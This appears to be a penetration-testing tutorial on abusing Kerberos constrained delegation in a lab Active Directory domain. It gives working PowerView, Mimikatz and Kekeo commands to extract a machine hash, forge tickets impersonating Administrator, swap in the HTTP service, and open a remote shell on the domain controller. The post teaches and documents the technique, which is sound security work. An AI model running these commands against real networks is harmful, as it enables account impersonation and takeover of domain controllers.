Constrained Delegation to Shell

What is Constrained Delegation?

Note: this post assumes knowledge of Kerberos authentication mechanisms.

Constrained Delegation is a feature of Active Directory that allows access only to specified services on specified computers as an unauthenticated user. The unauthenticated user is essentially “impersonated” as an authenticated user for the purpose of accessing the service. For example say you have a webserver hosting a website that is connected to a file server and you want users with accounts on the webserver to be able to authenticate to the file server to retrieve data. One way would be to grant the web server permissions to the file server service and whenever a user requests access to the file server the webserver can access and retrieve the files. This would work but it is not very secure nor can permissions be provisioned for individual users. With constrained delegation, once a user logs into the website, the web servers service account will request access to the file server service on behalf of that user. This allows the user to get access to the content that they’ve been provisioned to, without having to provision any access to the web server’s service account itself. The protocol conversion process works like this:

1. User requests access to the file server

2. The Webserver service account requests a Ticket Granting Ticket(TGT) from the Key Distribution Center(KDC)

3. The KDC checks the webserver service userAccountControl has the “TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION” attribute set

4. The KDC checks that the user has not been blocked for delegation and then returns a forwardable ticket for the users account(S4U2Self)

5. The web service then passes this TGT back to the KDC and requests a Ticket Granting Service ticket(TGS) for the file server service

6. The KDC checks the web servers service has the msDS-AllowedToDelegateTo field to check if it is allowed to delegate to the file server service

7. If the file service is listed the KDC will return a TGS for the file service on the file server(S4U2Proxy)

8. The web service can now authenticate to the file server service (CIFS) on the remote file server as the user

If an attacker can gain local administrator privileges on a machine with constrained delegation enabled then they can create their own TGS tickets to the remote service on the remote machine and gain access. Constrained delegation was meant to provide security by constraining the delegation to only what has been provisioned but as you will see it is still possible to access other services and gain full access to the remote machine regardless of what services are enabled or disabled for delegation.

This diagram is a very simplified demonstration:

Enumerating Constrained Delegation

powershell script “powerview_dev.ps1” can be used to enumerate computers with constrained delegation enabled.

Once the script has been loaded into powershell run this command from a domain joined machine:

Get-DomainUser -TrustedToAuth

Highlighted in the image above are the attributes set that enable constrained delegation and what service on what remote host the system has access to. So if we can get administrator access on the computer “swepstop” then we will be able to create our own TGS using the NTLM hash of the swepstop$ machine account to access the CIFS(file system) on PWNLAB-DC01.pwnlab.local. Notice the useraccountcontrol and msds-allowedtodelegateto attributes.

Impersonating TGS tickets as any user

Gaining local administrator on the swepstop system is out of scope for this post. That falls under privilege escalation. Once administrator access has been gained on the system with constrained delegation enabled, Mimikatz can be used to extract the hash for the account that is trusted to auth for delegation. In this case it is the machine account swepstop$


So now that we have the hash of the account that is authorised to delegate we can request a TGT from the KDC. This is step 2 of the protocol conversion process listed at the beginning of this post. For this a tool called Kekeo is used. Kekeo is written by the same person that developed mimikatz. Run kekeo from your foothold machine and not the compromised constrained delegation machine.

tgt::ask /user:SWEPSTOP$ /domain:pwnlab.local /rc4:d3fc261f76ecb0bf7b2f851dc65fd3d6

We now have a TGT on disc:


Now that we have the TGT we can perform step 5 using the TGT to request a TGS for the service listed in the msDS-AllowedToDelegateTo attribute as any user. For an example I will use the administrator user. To recap, we are using the TGT to request a TGS as administrator for the CIFS service on PWNLAB-DC01.pwnlab.local. Using kekeo again:

tgs::s4u /tgt:TGT_SWEPSTOP$@PWNLAB.LOCAL_krbtgt~pwnlab.local@PWNLAB.LOCAL.kirbi /user:Administrator@pwnlab.local /service:cifs/PWNLAB-DC01.pwnlab.local

We now have a TGS as administrator to the CIFS service on PWNLAB-DC01:


At the moment we have the TGS on disc so we will not have access to the file server until the ticket is injected into memory. Again Mimikatz comes to the rescue.

Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@pwnlab.local@PWNLAB.LOCAL_cifs~PWNLAB-DC01.pwnlab.local@PWNLAB.LOCAL.kirbi"'

Run klist to verify the ticket is in memory:

Now we can access the CIFS service on PWNLAB-DC01 as Administrator

Gaining a Shell

Ok so that’s all well and good having file system access but how does that get us a shell? Even though the constrained delegation is only configured to allow access to the CIFS service we can actually access any service that runs under the same account as CIFS. And what account does CIFS run under? The machine account. This gives us access to services like: LDAP, CIFS, HOST, WMI, HTTP and many others. The service to abuse to gain a shell is the HTTP service. Why? Windows inbuilt powershell tool for establishing remote sessions “Enter-PSSession” uses HTTP to create the remote sessions. So to gain remote access we need the TGS of the HTTP service on PWNLAB-DC01.

To request a TGS for the HTTP service we can simply request another CIFS TGS using the original TGT but this time pipe the HTTP service onto the end of the command.

This was the original command to request a TGS for the CIFS service:

tgs::s4u /tgt:TGT_SWEPSTOP$@PWNLAB.LOCAL_krbtgt~pwnlab.local@PWNLAB.LOCAL.kirbi /user:Administrator@pwnlab.local /service:cifs/PWNLAB-DC01.pwnlab.local

This is the command with the HTTP service piped onto the end:

tgs::s4u /tgt:TGT_SWEPSTOP$@PWNLAB.LOCAL_krbtgt~pwnlab.local@PWNLAB.LOCAL.kirbi /user:Administrator@pwnlab.local /service:cifs/PWNLAB-DC01.pwnlab.local|http/PWNLAB-DC01.pwnlab.local

Now we have a TGS for HTTP on PWNLAB-DC01 as administrator. Notice the Alternate service name in the above image.


Inject it into memory with Mimikatz

Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@pwnlab.local@PWNLAB.LOCAL_http~PWNLAB-DC01.pwnlab.local@PWNLAB.LOCAL_ALT.kirbi"'

Run klist to confirm the TGS is in memory

Create a session to PWNLAB-DC01:

Enter-PSSession -ComputerName PWNLAB-DC01.pwnlab.local